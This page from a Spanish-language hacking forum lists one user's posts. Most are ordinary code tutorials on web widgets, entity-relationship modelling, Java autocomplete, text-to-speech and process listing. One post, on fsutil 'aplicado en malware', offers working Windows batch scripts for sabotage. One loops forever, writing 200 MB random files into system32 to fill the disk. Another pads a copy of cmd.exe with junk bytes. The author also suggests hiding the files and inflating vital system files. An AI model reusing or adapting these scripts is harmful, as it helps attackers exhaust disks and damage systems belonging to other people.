elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: 1 2 [3] 4
21  Programación / PHP / Urgente !!!! consultar archivos !!! en: 24 Junio 2010, 02:40 am
Buenas alguien sabe algún metodo de consultar los archivos que se estan subiendo al servidor ??
22  Programación / Desarrollo Web / [Aporte] Arrastrar y Soltar en: 23 Junio 2010, 09:03 am
Hola a todos les dejo este pequeño code bastante atractivo a la hora de implementar, algo al estilo wordpress

Código
  1.  <head>
  2.     <link rel="stylesheet" href="style.css" type="text/css" media="screen" />
  3.     <script src="drag.js" language="JavaScript1.5"></script>
  4.     <!-- LLAMAMOS LAS LIBRERIAS NECESARIAS PARA LA IMPLEMENTACION -->
  5.     <script>
  6.      window.onload=function(){
  7.        //VALIDAMOS QUE TRAMADO ESTE COMPLETO
  8.        REDIPS.drag.init();
  9.        //INICIALIZAMOS EL "OBJETO"
  10.        REDIPS.drag.hover_color='#CEEF9C';
  11.        // SELECCIONAMOS EL COLOR PARA EL HOVER
  12.        REDIPS.drag.drop_option = 'single';
  13.        //VALIDAMOS PARA QUE EN CADA CELDA SOLO haya UN ITEM LA OTRA OPCION
  14.        //ES SWITCH
  15.  
  16.        //MANEJO DE EVENTOS
  17.        var x = document.getElementById("evento");
  18.        REDIPS.drag.myhandler_clicked=function(){
  19.          x.innerHTML="Click sobre el elemnto";
  20.        }
  21.        REDIPS.drag.myhandler_moved=function(){
  22.           x.innerHTML="Estoy moviendo el elemento";
  23.        }
  24.        REDIPS.drag.myhandler_dropped=function(){
  25.           x.innerHTML="Elemento movido";
  26.        }
  27.      }
  28.     </script>
  29.     <title>:: Drag and Drop ::</title>
  30.  </head>
  31.  
  32.  <body>
  33.    <div id="drag">
  34.        <table width="0" border="0" cellspacing="0" cellpadding="0">
  35.        <colgroup><col width="400"/></colgroup>
  36.          <tr>
  37.            <td width="311" scope="col"><div id="link1" class="drag t1"><center>A</center></div></td>
  38.            <!-- APLICAMOS LA CLASE -->
  39.            <td width="311" scope="col" rowspan="3"></td>
  40.          </tr>
  41.          <tr>
  42.            <td scope="row"><div id="link1" class="drag t1"><center>B</center></div></td>
  43.          </tr>
  44.          <tr>
  45.            <td scope="row">&nbsp;</td>
  46.          </tr>
  47.          <tr>
  48.            <td scope="row">&nbsp;</td>
  49.            <td width="317" scope="row"><div id="link1" class="drag t1"><center>C</center></div></td>
  50.          </tr>
  51.        </table>
  52.        <div id="evento"></div>
  53.      </div>
  54.  </body>
  55. </html>
  56.  

FUENTE

VER EJEMPLO FUNCIONANDO

Salu2
23  Programación / Desarrollo Web / [Aporte] Lightbox y JQuery en: 22 Junio 2010, 23:41 pm
Lightbox y JQuery

Bueno estuve desarrollando una pagina y uno de los requerimientos era un galería de imagines dinámica, entonces me puse en la búsqueda y encontré este plugin para el framework JQuery.

La forma de implementación es demasiada sencilla el único requerimiento es tener un versión thumb de las diferentes imágenes a mostrar y cuidar que todas la imágenes tengan la misma resolución.

Para empezar les dejo el plug para descargar www.4shared.com/file/209865982/12409a11/jquery-lightbox-05.htmll

Ejemplo:

Para sintetizar bien el ejercicio vamos hace un galería con nuestro amigo tux.

Para llamar la librería lo hacemos dentro de las etiquetas <script></script> y llamamos un estilo dentro de las etiquetas <link></link>

Código
  1. <script type="text/javascript" src="js/jquery.js"></script>
  2. <script type="text/javascript" src="js/jquery.lightbox-0.5.js"></script>
  3. <link rel="stylesheet" href="css/jquery.lightbox-0.5.css" media="screen" />

Y a continuación hacemos las validaciones con JQuery

Código
  1. $(function() {
  2.        $('a[@rel*=lightbox]').lightBox();
  3.        $('#gallery a').lightBox();
  4.        $('a.lightbox').lightBox();
  5.        $('a').lightBox();
  6.    });

Y creamos la etiqueta que va a llamar las dos imágenes de la siguiente forma

Código
  1. <a href="original1.jpg" title = "TITULO 2">
  2. <img title = "TITULO 1" src="mini1.jpg" width="72" height="72" alt="" />
  3. </a>

VER EJEMPLO

VER FUENTE


24  Programación / Desarrollo Web / [Aporte] Menus Elasticos en: 21 Junio 2010, 03:21 am
Esta la forma de implementar un menu elástico:

Código
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  2. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  3.  
  4. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  6.  
  7. <title>Menu Elastico</title>
  8.  
  9. <script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.js"></script>
  10. <!-- Llamamos a JQuery en uno de los repositorios de Google -->
  11. <script type="text/javascript">
  12. $(document).ready(function(){
  13. $('.menuitem img').animate({width: 100}, 0);
  14. $('.menuitem').mouseover(function(){
  15. gridimage = $(this).find('img');
  16. gridimage.stop().animate({width: 200}, 150);
  17. }).mouseout(function(){
  18. gridimage.stop().animate({width: 100}, 150);
  19. });
  20. });
  21. </script>
  22.  
  23. <style type="text/css">
  24. *{ padding:0px; margin:0px; }
  25. img{ border: none; -ms-interpolation-mode: bicubic; }
  26. body{ padding:10px; text-align:center; background:#fafafa; }
  27.  
  28. #wrapper{ position:absolute; left:20%; padding-top:100px; width:650px;}
  29.  
  30. #menuwrapper{ position:relative; height:210px;}
  31. #menu{position:absolute; bottom:0; left:0;}
  32. .menuitem{ position:fixed relative; bottom:0px; display:inline-block; }
  33.  
  34.  
  35. </style>
  36.  
  37. </head>
  38.  
  39. <div id="wrapper">
  40. <div id="menuwrapper">
  41. <div id="menu">
  42. <a href="icons.jpg" class="menuitem"><img src="icons.jpg"></a>
  43. <a href="neattext.jpg" class="menuitem"><img src="neattext.jpg"></a>
  44. <a href="officeal.jpg" class="menuitem"><img src="officeal.jpg"></a>
  45. <a href="curtain.jpg" class="menuitem"><img src="curtain.jpg"></a>
  46. <a href="rebrand.jpg" class="menuitem"><img src="rebrand.jpg"></a>
  47. </div>
  48. </div>
  49.  
  50. </div>
  51.  
  52. </body>
  53. </html>

Ejemplo

FUENTE 1

FUENTE 2
25  Programación / Bases de Datos / Modelo Entidad Relacion en: 6 Mayo 2010, 21:58 pm
Modelo Entidad Relacion

El concepto de este modelo son de alto nivel semántico, cercanos al lenguaje usado por el usuario y no al del sistema. Este modelo fue propuesto Peter Chen en 1976, no como un modelo de datos a ser implementado en al practica por un SGDB o DBMS cino como herramienta conceptual para el diseño de una base de datos.

Entidades y Relaciones

Un modelo ER (entidad relación) es una descripción del mundo real que el diseñador intenta modelar según el el sistema de información. En este modelo, las estructura se describe por un conjunto de entidades u objetos de interés relacionados entre si. Por ejemplo, las siguientes entidades podrían se de interés en alguna aplicación:

  • Clientes
  • Cuentas Corrientes
  • Alumnos
  • Canciones de Rock
  • Interprete

Una instancia de una entidad es un individuo particular que pertenece a la case definida por esa entidad, por ejemplo:

  • El cliente Andres Trujillo
  • La cuenta Correinte numero 06-5467
  • La Alumna Beatriz Guido
  • Canciones “Never Lose”
  • Interprete Above and Beyond

Un relación es l conexión que vincula a dos o mas entidades. Por ejemplo si a ciertos Alumnos les gusta Canciones de Rock y si ese dato es importante par el diseño e importante saberlo, podemos definir una relación que asocia cada Alumno con 0,1 o mas Canciones de Rock y cada Canción de Rock con 0,1 o mas Alumnos. Esto se denomina un relación binaria porque asocia dos entidades.

Funcionalidad de las Relaciones


Para citar las funcionalidad de las relaciones dentro del modelo ER. debo decir que es un poco abstracto y a primera vista no lo puedan entender pero con los ejemplos se puede llegar a un concepto mas formalizado.

Una relación C entro dos entidades E1 y E2 es funcional, si asocia cada de E1 con a lo sumo (es decir 1:1) una instancia de E2. Por ejemplo si introducimos una relación llamada nació-en donde asocia las entidades Alumno y Ciudad, podemos decir que la relación es funcional ya que cada alumno nació a lo sumo en una ciudad, pero si decimos que un alumno A pudo haber nacido en otra ciudad que el Alumno B, entonces una ciudad puede tener de uno a mucho Alumnos y se convierte en un relación no funcioal. La funcionalidad de una relacion depende del lado del que se mire.

Diagramas de ER

Bueno el diagrama de un modelo ER es bastante sencilla, cada entidad se representa por un rectángulo, los atributos por elipses  y cada relación por medio de un rombo.

Analicemos el siguiente diagrama:

- Entidades: Tenemos dos entidades Alumno y Clase
- Atributos: La entidad Alumno tiene dos atributos DNI (identificador) y NOMBRE, la entidad Clase tiene también dos clases N°CLASE y NOMBRE_CLASE
- Relaciones: La relación PERTENECE describe que un alumno puede pertenece a mas de un clase  y que una clase puede tener mas de un alumno por es la relación es de mucho a mucho (N:M)


FUENTE
26  Programación / Java / [APORTE] Autocompler en un JComboBox en: 13 Abril 2010, 19:23 pm
Bueno hace rato una mañana me levante pensando como las paginas web pueden auto-completar texto sin necesidad de tener un registro en nuestro historial de navegación, como lo hace google bueno me empape de la clase JComboBox asi que este fue el resultado:

Las palabras las tomo de arreglo de String, pero como lo cito en el code, para que sea un aplicación seria el arreglo debería ser dinámico lo mejor es consultar una base de datos y tomar los datos de allí, asi mismo si el termino no esta definido en la lista debe estar en la capacidad de adicionar mas palabritas, si alguien se le apunta de una lo apoyo

Bueno les dejo code t salud2

Código
  1. import java.awt.Container;
  2. import java.awt.event.ActionEvent;
  3. import java.awt.event.ActionListener;
  4. import java.awt.event.KeyEvent;
  5. import java.sql.Date;
  6.  
  7. import javax.swing.*;
  8. import javax.swing.text.AttributeSet;
  9. import javax.swing.text.BadLocationException;
  10. import javax.swing.text.PlainDocument;
  11.  
  12. /*
  13.  * Autocompletar !!!!
  14.  * */
  15.  
  16. public class JAng3r extends JComboBox implements JComboBox.KeySelectionManager{
  17.  
  18.    public static void main(String[] args) {
  19.        JFrame f = new JFrame();
  20.        // Creamos el Marco o Frame
  21.        f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  22.        // con este metodo podemos cerrar la ejecucion
  23.        // del programa
  24.        f.setSize(300,300);
  25.        // le damos el tamaño
  26.        Container c = f.getContentPane();
  27.        //Creamos el contenedor para alojar nuestras
  28.        // funciones GUI
  29.        c.setLayout(null);
  30.        String [] cuerpo ={"Andres","Ang3r","Foro","Texto"};
  31.        //pues por ahora le mando un arreglo pero cuando sea
  32.        // un aplicacion seria este arreglo se llena desde la
  33.        // base de datos
  34.        JComboBox j = new JAng3r(cuerpo);
  35.        // Hacemos Up-Casting
  36.        j.setBounds(50,50,100,20);
  37.        j.setEditable(true);
  38.        // Damos permisos para que se pueda editar
  39.        f.add(j);
  40.        // hacemos el upcasting
  41.        f.setVisible(true);
  42.    }    
  43.  
  44.    // ESTO ES RARO PERO SE PUEDE :)
  45.    // creamos un clase llamada formato la cual nos permite
  46.    // darle formato solamente en el tamaño de caracteres
  47.    //admitidos, asi como si acepta caracteres alfanuméricos
  48.    // o solo numéricos al elemento
  49.    public class Formato  extends PlainDocument{
  50.  
  51.        public void insertString(int offset, String str, AttributeSet a) throws BadLocationException{
  52.            // Podemos Observar que esta Retornando <----------
  53.            System.out.println(offset+" "+str);
  54.            if (str == null){
  55.                return;
  56.            }
  57.            super.insertString(offset,str, a);
  58.            if (str.length()!=0){
  59.                // Este metodo activa el evento grafico sin el
  60.                // el efecto no seria posible
  61.                fireActionEvent();
  62.            }
  63.        }
  64.    }
  65.  
  66.    public JAng3r(Object[] cuerpo) {
  67.        super(cuerpo);
  68.  
  69.        // Recordemos que JAng3r extiende o hereda de JComboBox
  70.        // Por estas razones le envio este objeto al evento
  71.        // setKeySelectionManager(JComboBox);
  72.        setKeySelectionManager(this);
  73.        JTextField jtext;
  74.        // con el metodo getEditor() retornamos el editor
  75.        // con el que se creo el JComboBox
  76.        jtext = (JTextField)getEditor().getEditorComponent();
  77.        // Le pasamos el formato al JtextField
  78.        jtext.setDocument(new Formato());
  79.        addActionListener(new ActionListener()
  80.        {
  81.            public void actionPerformed(ActionEvent evt)
  82.            {
  83.                JTextField textf = (JTextField)getEditor().getEditorComponent();
  84.                String text = textf.getText();
  85.                ComboBoxModel aModel = getModel();
  86.                String aux;
  87.                for(int i = 0; i < aModel.getSize(); i++)
  88.                {
  89.                    aux = aModel.getElementAt(i).toString();
  90.                    if(aux.toLowerCase().startsWith(text.toLowerCase()))
  91.                    {
  92.                        System.out.println(text+" tiene una Ocurrencia con: "+aux);
  93.                        textf.setText(aux);
  94.                        textf.setSelectionStart(text.length());
  95.                        textf.setSelectionEnd(aux.length());
  96.                        break;
  97.                    }
  98.                }
  99.            }
  100.        });
  101.    }
  102.    public int selectionForKey(char aKey, ComboBoxModel modelo) {
  103.        return 0;
  104.  
  105.    }
  106.  
  107. }

FUENTE

27  Programación / Java / Sensor de Movimiento en: 13 Abril 2010, 02:48 am
Hola comunidad, como puedo implementar un sensor de movimiento en JAVA .... ideas??? que cámaras puedo utilizar ? y que librerías lo podría implementar?

salu2
28  Programación / Scripting / [Aporte by 4ng3r] Fsutil con Aplicacion en Malware by 4ng3r en: 23 Febrero 2010, 17:17 pm
Hola gente, hoy les voy a presentar un comando bastante raro muy poco conocido es el Fsutil, primero la definición, sus parametros y después la aplicación

FSUTIL (FileSUTILities), es una herramienta para la consola de comandos, la cual nos permitira hacer gran variedad de tareas sobre los sistemas de archivos de la familia de sistemas operativos de windows (FAT) y NTFS, como administrar puntos de análisis, administrar archivos dispersos o desmontar un volumen.
Para lanzarlo, deberemos tener las credenciales de administrador !!! este es el problema.

En la siguiente lista podremos ver los diferentes argumentos que le podemos dar a esta herramienta y los diferentes usos que tiene.
Recalcar el uso de fsutil hardlink create, el cual nos servirá para realizar accesos directos duros a ficheros de manera que podamos usar el mismo fichero en diferentes localizaciones y con diferentes nombres pero sin duplicarlo, de manera que cuando se modifica uno, se modifican para las dos ubicaciones ya que es el mismo fichero.

Fsutil behavior

Consulta, cambia, habilita o deshabilita la configuración para generar nombres de archivo con longitud de caracteres 8.3, aceptar caracteres extendidos en los nombres de archivo con longitud de caracteres 8.3 en volúmenes NTFS, actualizar la marca de fecha y hora de último acceso en volúmenes NTFS, la frecuencia con la que se escriben sucesos de cuota en el registro de sistema, los niveles de caché interna de memoria de grupo NTFS paginada y no paginada, y la cantidad de espacio de disco reservado para la zona MFT1.

Fsutil dirty

Nos servirá para saber si se ha establecido el bit de daños del un volumen, y nos permite también establecerlo, de manera que en el siguiente reinicio, autochk buscará automáticamente los errores en el volumen.

Fsutil file

Tiene distintos parámetros:

  • findbysid - Buscar fichero por nombre de usuario, (en caso de estar habilitadas las cuotas de disco).Busca dentro de la tabla maestra de archivos (MFT) de NTFS por lo que el rendimiento es mucho mayor que realizar la búsqueda por la extructura de directorios.
Código
  1. fsutil file findbysid user c:\

  • queryallocranges - Consulta los intervalos asignados de un archivo.Es útil para determinar si un archivo tiene zonas dispersa.
Código
  1. fsutil file queryallocranges offset=1024 length=64 c:\archivo.txt
  • setshortname - Establece el nombre corto (nombre de archivo con longitud de caracteres 8.3) de un archivo en un volumen NTFS.
  • setvaliddata - Establece la longitud de datos válidos
  • setzerodata - Establece los datos cero para un archivo.
  • createnew - Crea un fichero con tamaño especifico (contenido 0)
  • Fsutil fsinfo
    • drives - Enumera todas las unidades.
    • drivetype - Consulta el tipo de unidad.
    • volumeninfo - Consulta la información del volumen.
    • ntfsinfo – Consulta la información de volumen específica de NTFS.
    • statistics – Consulta las estadísticas del sistema de archivos.

Estos son los comandos mas importantes según mi parecer, la idea es seguir con la aplicación de este comando en algún malware que se les ocurra. Si se fijan bien el comandos Fsutil file createnew, sirve para crear un archivo de longitud 0 (cero) pero esto no estan cierto; este comando a demas de crear un archivo puede modificar su tamaño según este Script:

Código
  1. @echo off
  2. echo "Ecriba el Nombre del Archivo"
  3. set /p nom=
  4. echo "Ecriba el tamanno de %nom% en megabyte"
  5. set /p var=
  6. set /a length= %var%*1000000
  7. :: ~~~~~~ RUTINA FSUTIL ~~~~~~~~
  8. fsutil file createnew %nom%.txt %length%

Se imagina esto:

Código
  1. fsutil file createnew fhaker.txt 99999999999999

Es aquí donde podemos observarla potencia de este comando, poder crear archivos con la longitud que queramos en bytes es bastante útil a la hora de sabotear un sistema de información. La desventaja de este comando es que un usuario con experiencia pondría en la labor ponerse a buscar archivo por archivo y lo borraría muy fácilmente este archivo; una solución a este inconveniente es crear varios archivos y distribuirlos por todo el sistema, buena idea pero existe otro problema «no conocemos el tamaño del disco del usuario !!!” . Asi que llenar el disco con uno o cuatro archivo sno es viable lo mejor es llenarlo con miles de archivos, yo propongo esta solución:

Código
  1. @echo off
  2. REM NO INTENTEN ESTO EN SU PC
  3. REM Vamo a crear archivos a punta de numeros
  4. REM Randomicos, como putas!! con %RANDOM%
  5. REM y cada nuero seria un archivo txt de 200 Mb
  6. REm Esto ira en un ciclo infinito
  7. title +++ 4ng3r Malware Fsutil +++
  8. :start
  9. REM Esto nos lleva a la carpeta del catalogo
  10. REM del Sistema Opertativo en muchos casos
  11. REm c:\windows
  12. cd %windir%\system32
  13. set /a length= 200*1000000
  14. fsutil file createnew %random%.txt %length%
  15. goto start

Este se puede potenciar mas aun con el comando at, attrib y cierto .REG para cambiar el Hidden”=dword:00000001 ( ;D) de registro. La idea es ocultar el archivo por que nos dejaría en desventaja con el usuario la funcionalidad de nuestro malware fracasaría y simplemente nos quedaría de lección, pero se me ha ocurrido una idea aun mas loca y destructivo; no se si se estaran pensado en sobre escribir un archivo ???…. si es asi esa es la solución final a nuestro problema, simplemente buscamos un archivo vital para el sistema y le metemos peso a esa monda, entonces el usuario borrara el archivo por ahorrarse algunos bytes en su pc. Esta es la aplicación final que doy para este tema:

Código
  1. @echo off
  2. REM Copiamos CMD.EXE de system32 y lo pasamos a el
  3. REM disco donde esta instalado Windows
  4. copy %windir%\system32\cmd.exe %homedrive%\cmd1.exe
  5. REm Si vamos, ejecutamos y observamos el rendimiento
  6. REM de CMD1.EXE no ha cambiado del original trabaja igual
  7. cd %homedrive%
  8. REM Creamos el archivo
  9. fsutil file createnew ang3cmd.exe 1000000
  10. REM Y hacemos una parametrización de bytes
  11. type cmd1.exe > cmd2.exe
  12. type ang3rcmd.exe >> cmd2.exe
  13. cls
  14. echo "Se termino el Proceso"

Miremos el resultado:


Observemos que cmd1.exe es una copia de cmd.exe (el original) y en la parte de abajo vemos el cmd2.exe ya modificado por el malware, si ejecutamos cmd2.exe fuanciona como debe  ser simplemente re-nombrelo y lo copian a %systemroot%\system32.


FUENTE
29  Programación / Java / [Aporte by 4ng3r] Crear Voz con Java en: 21 Febrero 2010, 20:12 pm
    Si alguna vez escuchado el Narrator.exe de Windows, pues programe uno parecido en java solo es que toca agregarle la GUI pero no es gran cosa, simplemente es colocarle un jtextfield y un boton, enviar como parámetro el string que le de la entra al jtextfield al método hablar(), como cosa adicional hice que me generara un archivo .wav  y lo guardara en la carpeta del proyecto.

    Bueno para poder desarrollar algún code con estas características debemos descargar la siguiente librería (
AQUI) lo pegamos en el classpath todos los .jar y nos ponemos a codear !!!

Esta libreria solo puede generar tres tipos de archivo:

  • wav
  • au
  • aif

Bueno les dejo el code:

[/list]
Código
  1. import com.sun.speech.freetts.audio.AudioPlayer;
  2. import com.sun.speech.freetts.audio.NullAudioPlayer;
  3. import com.sun.speech.freetts.audio.SingleFileAudioPlayer;
  4. import javax.sound.sampled.AudioSystem;
  5. import javax.sound.sampled.AudioFileFormat.Type;
  6.  
  7. import com.sun.speech.freetts.Voice;
  8. import com.sun.speech.freetts.VoiceManager;
  9.  
  10. public class MiVoice_TTS {
  11.  
  12.    private Voice v;
  13.    public MiVoice_TTS(String texto) {
  14.        VoiceManager admin_voice= VoiceManager.getInstance();
  15.        //administrador de recursos
  16.        v=admin_voice.getVoice(texto);
  17.        v.allocate();
  18.    }
  19.  
  20.    public static void main(String[] args) {
  21.        MiVoice_TTS voz = new MiVoice_TTS("kevin16");
  22.        // Creamos el objeto que me generara la voz de Kevin16
  23.        voz.hablar("Hi! my name is Anger");
  24.        voz.hablar("Este es un DEMO, bye ");
  25.        // LO QUE QUERAMOS QUE SE OIGA !!!
  26.        voz.toFile("archivo.wav","Andres");
  27.        //GENERAMOS EL ARCHIVO (archivo.wav)
  28.        voz.cerrar();
  29.    }
  30.  
  31.    private void cerrar() {
  32.        v.deallocate();
  33.  
  34.    }
  35.  
  36.    private void toFile(String filename,String text) {
  37.        Type tipo = getAudioType(filename);
  38.  
  39.        AudioPlayer audio = null;
  40.        if(audio == null)
  41.            audio = new NullAudioPlayer();
  42.        audio = new SingleFileAudioPlayer(getNombre(filename), tipo);
  43.        System.out.println("audioPlayer "+audio);
  44.        this.v.setAudioPlayer(audio);
  45.        this.v.speak(text);
  46.        audio.close();    
  47.  
  48.    }
  49.  
  50.    private String getNombre(String filename) {
  51.        int nam = filename.indexOf(".");
  52.        if (nam==-1){
  53.            return filename;
  54.        }
  55.        return filename.substring(0,nam);
  56.    }
  57.  
  58.    private Type getAudioType(String filename) {
  59.        // Elejimos el tipo de archivo
  60.        Type [] tipo = AudioSystem.getAudioFileTypes();
  61.        String ext = getExtension(filename);
  62.        System.out.println(ext);
  63.        for (int  i= 0; i < tipo.length; i++) {
  64.  
  65.            if (tipo[i].getExtension().equals(ext)){
  66.                System.out.println("Se ha elejido la extensión: "+tipo[i].getExtension());
  67.                return tipo[i];
  68.            }
  69.        }
  70.        return null;
  71.    }
  72.  
  73.    private String getExtension(String filename) {
  74.        int sub = filename.indexOf(".");
  75.        return filename.substring(sub+1);
  76.    }
  77.  
  78.    private void hablar(String texto ) {
  79.        this.v.speak(texto);
  80.        // Meotodo que envia el texto para ser reproducido
  81.    }
  82. }

    LINK

    30  Programación / Java / [Aporte by 4ng3r] Ver Procesos de Windows en: 20 Febrero 2010, 07:26 am
    estoy sin nada que hacer, se ocurrió esto , les dejo este code !!!

    Código:
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStreamReader;

    /*
     * 4ng3r C0d!|\|G
     *
     * VER PROCESOS CON JAVA
     * */
    public class Procesos {

    public static void main(String[] args) throws IOException {
    verProcesos();
    }

    private static void verProcesos() throws IOException {
    // LLAMAMOS LA VARIABLE DE ENTORNO WINDOWS Y EL PROGRAMA Q GESTIONA
    // LOS PROCESOS
    String consola = System.getenv("windir")+"\\System32\\"+"tasklist.exe";
    // Ejecutamos el comando
    Process proceso=Runtime.getRuntime().exec(consola);
    //OBTENEMOS EL BUFFER DE SALIDA
    BufferedReader entrada = new BufferedReader(new InputStreamReader(proceso.getInputStream()));
    String tmp;
    while((tmp=entrada.readLine())!=null){
    System.out.println(tmp);

    }
    entrada.close();

    }

    }

    Páginas: 1 2 [3] 4
    WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines